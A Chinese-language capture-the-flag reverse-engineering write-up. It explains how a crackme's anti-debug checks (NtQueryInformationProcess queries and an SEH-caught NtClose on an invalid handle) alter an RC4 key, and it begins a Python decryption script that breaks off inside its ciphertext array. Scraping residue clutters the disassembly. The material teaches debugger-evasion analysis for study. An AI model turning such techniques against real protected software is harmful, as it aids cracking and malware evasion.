ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040124A loc_40124A:.text:0040124A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:0040124F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetCurrentProcess.text:00401255&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-10h], eax.text:00401258&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;0.text:0040125A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;4.text:0040125C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; eax, [ebp-8] &nbsp; &nbsp; &nbsp; &nbsp;; 输出句柄位置.text:0040125F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:00401260&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;7&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; ProcessInformationClass =&nbsp;7.text:00401262&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp-10h].text:00401265&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; ProcessHandle.text:00401266&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;dword ptr [ebp+8] &nbsp; ; NtQueryInformationProcess.text:00401269&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; dword_404408,&nbsp;0Eh.text:00401273&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-8],&nbsp;0.text:00401277&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_40127B &nbsp; &nbsp;; ==0&nbsp;则改 key.text:00401279&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_40128A
.text:0040127B loc_40127B:.text:0040127B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, dword_40440C.text:00401281&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; edx, dword_404408 &nbsp; ; +0x0E.text:00401287&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [edx],&nbsp;49h ;&nbsp;'I'

DebugObjectHandle == 0:

就把 *(dword_40440C + 0x0E)改成 I

原始那里是 l,所以 flagls变成flagIs

第三次变换

这一段利用异常处理器修改 key

loc_40130D:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040130D loc_40130D:.text:0040130D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:00401312&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset aNtdllDll_0 ;&nbsp;"Ntdll.dll".text:00401317&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call&nbsp;&nbsp; &nbsp;ds:LoadLibraryW.text:0040131D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-24h], eax.text:00401320&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-24h],&nbsp;0.text:00401324&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp; short loc_401328.text:00401326&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_401383
.text:00401328&nbsp;loc_401328:.text:00401328&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; dword_404408,&nbsp;11h.text:00401332&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset aNtclose &nbsp; &nbsp;;&nbsp;"NtClose".text:00401337&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp-24h].text:0040133A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:0040133B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetProcAddress &nbsp;; 取 NtClose 地址到 [ebp-28h].text:00401341&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp-28h], eax.text:00401344&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-28h],&nbsp;0.text:00401348&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp; short loc_40134C.text:0040134A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_401383
.text:0040134C loc_40134C:.text:0040134C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-4],&nbsp;0.text:00401353&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;99999999h.text:00401358&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;dword ptr [ebp-28h] ;&nbsp;NtClose(0x99999999).text:0040135B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-4],&nbsp;0FFFFFFFEh.text:00401362&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_401383

NtClose(0x99999999) 正常会触发异常,异常处理函数就是 sub_40136A:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040136A sub_40136A &nbsp; &nbsp; &nbsp;proc near &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; SEH handler.text:0040136A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; esp, [ebp-18h].text:0040136D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, dword_40440C.text:00401373&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; ecx, dword_404408 &nbsp;; +0x11.text:00401379&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ecx],&nbsp;6Fh ;&nbsp;'o'.text:0040137C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword ptr [ebp-4],&nbsp;0FFFFFFFEh

SEH handler 执行时把 *(dword_40440C + 0x11) 改为 ‘o’

原本这里是 ‘0’,所以 G00ds 的第一个 0 被改成 ‘o’

第四次反调试

loc_4013EA:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004013EA loc_4013EA:.text:004013EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:004013EF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetCurrentProcess.text:004013F5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-10h], eax.text:004013F8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0.text:004013FA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;4.text:004013FC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; eax, [ebp-8].text:004013FF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:00401400&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;1Fh &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; info&nbsp;class&nbsp;=&nbsp;0x1F&nbsp;(ProcessDebugFlags).text:00401402&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp-10h].text:00401405&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx.text:00401406&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;dword ptr [ebp+8] ; NtQueryInformationProcess.text:00401409&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; dword_404408,&nbsp;12h.text:00401413&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; dword ptr [ebp-8],&nbsp;1.text:00401417&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_40141B.text:00401419&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_40142A
.text:0040141B loc_40141B:.text:0040141B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, dword_40440C.text:00401421&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; edx, dword_404408 &nbsp;; +0x12.text:00401427&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [edx],&nbsp;6Fh ;&nbsp;'o'

如果ProcessDebugFlags == 1即未调试,把 *(dword_40440C + 0x12) 改为 ‘o’

所以,G00ds 的第二个 0 也被改成 ‘o’

最终的key:

ounter(lineflag:{ThisflagIsGoods}

RC4部分

初始化:sub_4017D0

ounter(lineounter(lineounter(lineounter(linepush&nbsp;80h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; key 长度&nbsp;0x80push&nbsp;[ebp-190h] &nbsp; &nbsp; &nbsp; &nbsp;; key 指针 = dword_40440Cpush&nbsp;&statecall sub_4017D0

后面补零到0x80字节

sub_4017D0是标准的RC4KSA

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004017D0 sub_4017D0 &nbsp; &nbsp; &nbsp;proc near....text:004017E4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+arg_0].text:004017E7&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [eax+101h],&nbsp;0&nbsp; ; j =&nbsp;0.text:004017EE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+arg_0].text:004017F1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ecx+100h],&nbsp;0&nbsp; ; i =&nbsp;0.text:004017F8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_4],&nbsp;0.text:004017FF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_40180A
.text:0040180A loc_40180A: &nbsp; &nbsp; ; 初始化 S[i] = i.text:0040180A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_4],&nbsp;100h.text:00401811&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp; short loc_401820.text:00401813&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+arg_0].text:00401816&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax, [ebp+var_4].text:00401819&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; cl, byte ptr [ebp+var_4].text:0040181C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [eax], cl...
.text:00401820&nbsp;loc_401820: &nbsp; &nbsp; ; KSA 主循环.text:00401820&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_4],&nbsp;0....text:00401832&nbsp;loc_401832:.text:00401832&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; [ebp+var_4],&nbsp;100h.text:00401839&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp; short loc_40189A.text:0040183B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, [ebp+arg_0].text:0040183E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; eax, [ebp+var_4].text:00401841&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; ecx, byte ptr [eax].text:00401844&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_10], ecx &nbsp; ; S[i].text:00401847&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+arg_4].text:0040184A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx, [ebp+var_C] &nbsp; &nbsp;; key[j].text:0040184D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, byte ptr [edx].text:00401850&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax, [ebp+var_10].text:00401853&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax, [ebp+var_8].text:00401856&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], eax &nbsp; &nbsp;; j += S[i] + key[i%keylen].text:00401859&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp+var_8].text:0040185C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp; &nbsp; &nbsp;ecx,&nbsp;0FFh.text:00401862&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], ecx &nbsp; &nbsp;; j &=&nbsp;0xFF...; 然后交换 S[i], S[j]

sub_4018A0是 PRGA,输出密钥流并 XOR 数据

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004018A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, [ebp+arg_0].text:004018A9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_4], eax &nbsp; &nbsp; &nbsp;; S base.text:004018AC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+arg_0].text:004018AF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; edx, byte ptr [ecx+100h].text:004018B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_8], edx &nbsp; &nbsp; &nbsp;; i.text:004018B9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, [ebp+arg_0].text:004018BC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; ecx, byte ptr [eax+101h].text:004018C3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_C], ecx &nbsp; &nbsp; &nbsp;; j....text:004018D5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_18],&nbsp;0.text:004018D9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jz &nbsp; &nbsp; &nbsp;short loc_401955 &nbsp; &nbsp; &nbsp;; 长度耗尽结束.text:004018DB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+var_8].text:004018DE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; ecx,&nbsp;1.text:004018E1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;and&nbsp; &nbsp; &nbsp;ecx,&nbsp;0FFh.text:004018E7&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], ecx &nbsp; &nbsp; &nbsp;; i = (i+1)&0xFF.text:004018EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, [ebp+var_4].text:004018ED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx, [ebp+var_8].text:004018F0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, byte ptr [edx].text:004018F3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_10], eax &nbsp; &nbsp; ; S[i].text:004018F6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, [ebp+var_C].text:004018F9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; ecx, [ebp+var_10].text:004018FC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp; &nbsp; &nbsp;ecx,&nbsp;0FFh.text:00401902&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_C], ecx &nbsp; &nbsp; &nbsp;; j = (j+S[i])&0xFF...; 交换 S[i], S[j],然后:.text:00401927&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+var_10].text:0040192A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx, [ebp+var_14].text:0040192D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;and&nbsp; &nbsp; &nbsp;edx,&nbsp;0FFh.text:00401933&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_4].text:00401936&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; ecx, byte ptr [eax+edx] ; S[(S[i]+S[j])&0xFF].text:0040193A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, [ebp+arg_4].text:0040193D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movzx &nbsp; eax, byte ptr [edx].text:00401940&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;xor&nbsp; &nbsp; &nbsp;eax, ecx &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; data ^= K.text:00401942&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp+arg_4].text:00401945&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ecx], al.text:00401947&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+arg_4].text:0040194A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; edx,&nbsp;1.text:0040194D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+arg_4], edx &nbsp; &nbsp; &nbsp;; data++.text:00401950&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; loc_4018C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; 继续下一个字节

最终exp:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linekey_str =&nbsp;b"flag:{ThisflagIsGoods}"KEY_LEN =&nbsp;0x80key =&nbsp;bytearray(key_str +&nbsp;b"\x00"&nbsp;* (KEY_LEN -&nbsp;len(key_str)))cipher =&nbsp;bytes([&nbsp; &nbsp;&nbsp;0x0f,&nbsp;0x1a,&nbsp;0x8a,&nbsp;0x5a,&nbsp;0x22,&nbsp;0xab,&nbsp;0x1e,&nbsp;0x63,&nbsp; &nbsp;&nbsp;0x19,&nbsp;0x5a,&nbsp;0x87,&nbsp;0xf2,&nbsp;0xe6,&nbsp;0xe9,&nbsp;0xd7,&nbsp;0xd1,&nbsp; &nbsp;&nbsp;0x97,&nbsp;0xf9,&nbsp;0xf8,&nbsp;0x32,&nbsp;0x5b,&nbsp;0xde,&nbsp;0x2d,&nbsp;0xd6,&nbsp; &nbsp;&nbsp;0xa3,&nbsp;0x4f,&nbsp;0x7e,&nbsp;0xcb,&nbsp;0x61,&nbsp;0xb2,&nbsp;0x3f,&nbsp;0xbf,&nbsp; &nbsp;&nbsp;0xb7,&nbsp;0x1b,&nbsp;0x0a,&nbsp;0x84,&nbsp;0xb3,&nbsp;0xb4,&nbsp;0xde,&nbsp;0x03,&nbsp; &nbsp;&nbsp;0x46,&nbsp;0x7b,&nbsp;0x83,&nbsp;0x2a,&nbsp;0x51,&nbsp;0x73,&nbsp;0xe0,&nbsp;0x7c,&nbsp; &nbsp;&nbsp;0x93,&nbsp;0x27,&nbsp;0x44,&nbsp;0x9c,&nbsp;0x56,&nbsp;0x8f,&nbsp;0x75,&nbsp;0xfa,&nbsp; &nbsp;&nbsp;0xa0,&nbsp;0x79,&nbsp;0x26,&nbsp;0xda,&nbsp;0x08,&nbsp;0x01,&nbsp;0x85,&nbsp;0x66,&nbsp; &nbsp;&nbsp;0x7d,&nbsp;0xbb,&nbsp;0xee,&nbsp;0x0f,&nbsp;0x89,&nbsp;0x59,&nbsp;0xd4,&nbsp;0x5f,&nbsp; &nbsp;&nbsp;0xac,&nbsp;0x18,&nbsp;0xae,&nbsp;0x0b,&nbsp;0x4e,&nbsp;0xf0,&nbsp;0xb7,&nbsp;0xdd,&nbsp; &nbsp;&nbsp;0xdd,&nbsp;0x55,&nbsp;0x4b,&nbsp;0xea,&nbsp;0x07,&nbsp;0x92,&nbsp;0x5c,&nbsp;0x8a,&nbsp; &nbsp;&nbsp;0x53,&nbsp;0xf3,&nbsp;0xff,&nbsp;0xf7,&nbsp;0xa7,&nbsp;0xdd,&nbsp;0x2e,&nbsp;0xe6,&nbsp; &nbsp;&nbsp;0xed,&nbsp;0x0f,&nbsp;0x77,&nbsp;0x2c,&nbsp;0x4a,&nbsp;0x22,&nbsp;0xf1,&nbsp;0x36,&nbsp; &nbsp;&nbsp;0x4f,&nbsp;0xa7,&nbsp;0x55,&nbsp;0x5e,&nbsp;0x3e,&nbsp;0x93,&nbsp;0xa4,&nbsp;0x34,&nbsp; &nbsp;&nbsp;0x29,&nbsp;0x67,&nbsp;0xfc,&nbsp;0x23,&nbsp;0x79,&nbsp;0x19,&nbsp;0xd8,&nbsp;0xc9,&nbsp; &nbsp;&nbsp;0x2b,&nbsp;0xcf,])
